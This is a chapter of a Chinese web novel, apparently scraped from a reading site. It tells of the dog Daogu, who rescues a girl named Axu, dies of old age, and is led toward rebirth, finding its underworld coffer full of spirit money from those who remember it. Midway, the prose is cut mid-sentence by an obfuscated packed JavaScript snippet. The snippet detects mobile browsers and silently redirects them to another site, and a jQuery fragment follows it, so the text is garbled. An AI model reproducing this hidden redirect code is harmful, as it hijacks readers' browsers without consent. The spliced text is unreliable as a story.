稻谷原本没有名字。
醒来，走在日复一日充满烟火气息的街巷中，向肉铺的屠户讨要一根骨棒，这样的日子已是惯性。
屠户手上油腻腻的，笑骂一声馋狗，揉的它满脑袋肉腥味。
稻谷小小的脑仁迷瞪地想，原来它的名字是馋狗，可为何水产铺那掌柜的唤它小伙计？
“小伙计，替我将这篓虾蟹送去街尾那户人家，可莫要偷吃。”
它叼着竹篓，虾蟹腥气重，熏得它打了个喷嚏。
等在街尾那户人家用过午饭，它照例散步至山脚下，消食。倏然听见山上响起几声狼嚎，之后又是一声惊叫。
郊狼环伺的中心，小丫头抱着竹篓蜷在树下，袄子上尽是泥。她害怕极了，脸上泪痕未干。狼群没有一丝怜悯地逼近，山中猎物甚少，它们饿得骨瘦如柴，见了小丫头，如同见了一块生肉，眼底迸出贪婪的绿光。
稻谷认得这丫头，她是山珍坊的小掌柜，小小的人儿独自住在大大的院落里。
想也不想，它一口咬住郊狼的后腿。苍老的头狼听闻同类的痛呼，回头，阴恻恻地盯着稻谷，仰头一声狼嚎指挥族群进攻。
究竟缠斗了多久，它已经忘了，只记得自己颈侧被撕开一道豁口，险些伤及喉管。许是它气势太凶，又或是被街坊们喂得油光水滑，而郊狼个个皮包骨头，已是穷途末路的境地，那头狼哀戚地嚎了一嗓，狼群旋即四下逃窜开。
猩红血液汩汩，粘腻地覆满颈毛。稻谷打量着那小丫头，见对方身上有些因跌倒造成的擦伤，除此之外并无大碍，便吐着舌头朝她笑，之后眼前一黑，晕厥在地。
再醒来时已在山珍坊，它嗅到满室菌类的香气，还有自己身上的药草味。丫头眼眶通红，小心地替它包扎伤口。
稻谷强撑起身体，舔去她面上的泪珠，惹得对方破涕为笑。小丫头轻抚着它如同稻穗般的黄毛，有了主意：“你没有名字罢，那我便唤你稻谷可好？”
她言笑晏晏，眼中好似满载琉璃碎玉：“我名为阿絮，莫要忘了。”
稻谷记下后，就再也没有忘记。
自那以后，它日日同阿絮上山采菌，替她寻路，替她挖出掩在土下的松茸，也照例会去同街坊们打招呼。不过若是有谁还唤它馋狗或是小伙计，它就吠上一声，那些人便自觉改口稻谷，稻谷小伙计。
岁月流转，阿絮出落得亭亭玉立，俨然是位大姑娘。那被郊狼吓得梨花带雨的小丫头，也好像是上辈子的事了。
只是时间公平到残忍，从不只会在一处流淌。
稻谷五官周围生出白毛，走得也不似先前那般快了，而阿絮亦不再是那心思单纯的小姑娘，瞧它时眸中总会染上些若有若无的愁思。稻谷不明白这是为何，直到有日照常同对方上山，它没来由地四肢一软，跪倒在地，半天都未能起身。
它走不动了。
时至今日，稻谷仍记得阿絮当时的神色。
她眼底缀着的琉璃彻底裂了，碎玉从眼眶滚落。
即便阿絮早就料到这一日终归会来临，可当阎罗的铡刀实实在在地架在稻谷颈上时，她意识到，自己根本无法承受。
“稻谷，莫要再同我上山了，山里已经没有郊狼了。”
稻谷听她这么说，仍旧放心不下，等对方一离开，它便悄悄跟在后头。有回实在太累，它在山洞里睡了过去，害的阿絮寻了一宿。
这件事后，阿絮干脆暂时关了山珍坊，一心一意照顾它。
上元佳节前，稻谷醒来，照例想去阿絮卧房舔醒她，再讨要一碗菌菇汤。走到房门口时，它发觉自己脚步轻飘飘的，走路不再费劲了。
它又能同阿絮上山了。
稻谷迫不及待地想和对方诉说这番喜悦，却见阿絮已经下榻，走到门前。她面颊白得不像话，双眼惨淡淡地睁着，一下都没在它身上停驻。
泪水透过它的身体砸在地板上。
沿着那道目光，稻谷一点，一点地回头。
那了无声息卧在软垫上的黄狗，不是它，又是谁呢？
只记得之后有位生人出现在眼前，宣告它命数已尽，不由分说将它引去另处地界。那里上空终日皆是一片混沌雾气，目光空洞的亡魂在雾中徘徊。
那里没有满巷的人间烟火气，没有它熟悉的人们，没有好吃的大骨棒和菌菇汤。
亦没有阿絮。
-
山珍坊。
陶锅中炖着河蚌和各式菌类，在谢轻荼切坏两块姜后，她被阿絮客气地请出灶房。
稻谷寸步不离地守着阿絮，闻见汤汁的香气，涎水淌了一地。
河蚌与菌菇本就是极为鲜美之物，葱段与姜片放得恰到好处，一点腥味都没有。阿絮手艺虽比不上裴宴辞，但熬出的菌菇汤也可谓是色香味俱全。
她盛一碗汤，搁在稻谷平日里用饭的墙角，对着空气道：“吃罢。”
这些时日裴宴辞都在开发新菜品，不但踏雪圆润了一圈，连谢轻荼都在他期待目光下吃了不少。尽管她现下不饿，但为了不拂阿絮好意，还是喝了一小碗。
放下碗筷，阿絮咬着嘴唇，低垂眸光瞥向墙角的空碗。半晌，她才犹犹豫豫地开口：“谢姑娘，用过饭后，你就要离开了罢？”
谢轻荼晓得她心里挂念稻谷：“放心罢，我会引它入轮回的。”
阿絮不太能分清天界与地府的体系，得谢轻荼承诺，她松了口气：“多谢你，若它来生能投个好胎，我也就放心了。”
稻谷眷恋地蜷缩在她脚边，闻言抬起脑袋。
它不想离开。
即便已是亡魂，但它依然能像从前那样陪在阿絮身边，就算对方瞧不见，摸不着自己，也仍令它心满意足。
这不是很好么？
而后它又见阿絮因寒气下意识缩回裙摆中的脚踝，意识到了这样一点都不好，尽管不舍，它也不该再留在此处了。
稻谷最后瞧了阿絮一眼，这一眼在对方面上停驻许久，好似要将那根根眉毛的走向，次次说话时嘴角扬起的弧度都刻入脑海中。最后它起身，同谢轻荼走出山珍坊。
一阵风吹过，携着腊梅温柔缱绻的香气。花瓣落地的声响中，隐约夹杂阿絮低哑的嗓音，一个字，一个字地落入它耳中。
“来生再见，我在山珍坊等你。”
沿着来时的街道回去，街上仍是那副光景。日光斜斜地落进铺子内，行人路过，影子又覆在上头。她们走过水产铺，走过肉铺，听闻满街吆喝叫卖声，稻谷没来由地发觉，这条它行过上百遍的道路有些陌生。
是了，那些人们，他们的目光都不会再落在它身上，也无人再唤它馋狗或是小伙计。人们都有自己的日子要过，起初或许会黯然伤神，但在冗长的岁月中，一只狗的逝去其实算不得什么。
许是他们已经不记得它了。
活着的人以时间消化尚未消弭的惯性，消
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165384|196687||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
化完了，也就再无他物。
稻谷只觉脚步愈发沉重，唯有阿絮那声来生再见，支撑它走向长街尽头，离开人间烟火。
回到无言客栈。
稻谷原本没什么精神，见了踏雪，倒是来劲了，一个劲地追在它屁股后头嗅闻，猫儿惨呼：“轻荼，管管你这傻狗。”
谢轻荼正清点食材，耳边传来一声啜泣。裴宴辞听了稻谷与阿絮的故事，眼眶通红，帕子不住地抹泪。
谢轻荼：“……”
此人这辈子没得到过什么爱，倒是会为他人的爱落泪。
裴宴辞对上她的目光，攥紧帕子，挪开眼神，似有些羞赧：“谢掌柜，你别见怪，我这人打小就这样。”
尽管晓得对方不会取笑自己，但面上还是有点挂不住，他恨不得一头钻进灶房，当那缩头乌龟。可他又想同谢轻荼再待一会，他们有许多天没正经说上话了。
墨色眸子从那对泛红的眼眶上移开，谢轻荼仍是没什么波澜，手指将篓筐里摆好的竹荪一个个打散，又摆正：“无事。”
“你说，她们来生果真能再见么？”裴宴辞一抹鼻子，“阿絮该怎么认出稻谷呢，毕竟它下辈子不一定是黄狗。”
谢轻荼头也不抬：“有缘之人总会遇见的。”
她言简意赅，大有不想再说话的架势，裴宴辞却想得寸进尺一点点：“可就算遇见了，那转世之人和稻谷也不是同一个了，前世绑着的缘分，还算是缘分么。”
闻言，谢轻荼莫名心情不大好了：“做好六味煲后，你去河对岸迎客。”
这是在赶人了，裴宴辞灰溜溜地，逃也似地钻回灶房。
“我陪稻谷去天地钱庄取钱。”
踏雪柔顺的皮毛被舔得如同黑色的红毛丹，它一爪拍开稻谷，抬头正色道：“正好替我将钱也取了。”
年年都有人为它烧纸，踏雪一文都舍不得用，卧房里的小金库堆成山。
从前谢轻荼还打趣它，说我这客栈留你这么多年，你好歹付些房钱。
当时踏雪拦在金库前，大有谢轻荼若是胆敢取走分毫，就同她拼命的架势：“我为你迎客，没要你工钱就不错了，边去。”
天地钱庄。
钱庄那人同谢轻荼打了声招呼，核对稻谷名姓后，将钥匙挂在它颈上：“银窖在左手边。”
今日最后一位取钱的人也离开了，银窖里只有谢轻荼与稻谷的脚步声，一个稳当，一个踌躇。稻谷落在后头，似是在害怕着什么。
“别怕。”谢轻荼找到属于它的钱柜，唤它过来解下钥匙，“他们都记得你。”
是么，稻谷期待地想，又害怕自己的期待落了空。柜门在它眼前逐渐打开，时间仿佛被拉长，像肉铺屠户做肉夹馍时扯长的面团，又似水产铺池子里养着的鳝鱼，周遭一切都化为慢动作。
它想谢轻荼许是搞错了，钱柜里其实一文钱都没有，人们对它的记忆消逝于时间中，没有记忆，也就没有钱。不，还是有的，至少阿絮记着它。
稻谷又满足了，阿絮记得就好了，人间它最放心不下的，也唯有阿絮。
柜门敞开。
现下稻谷还不明白，记忆的载体并非只是一枚泪珠，或是一个眼神，它可以是因惯性而留下的骨棒，可以是说铺子里的伙计不在了时面上掠过的怅然若失，亦可以是…
稻谷愣怔地盯着钱柜，任凭泪水滚落在地。
里头是满满当当的冥币。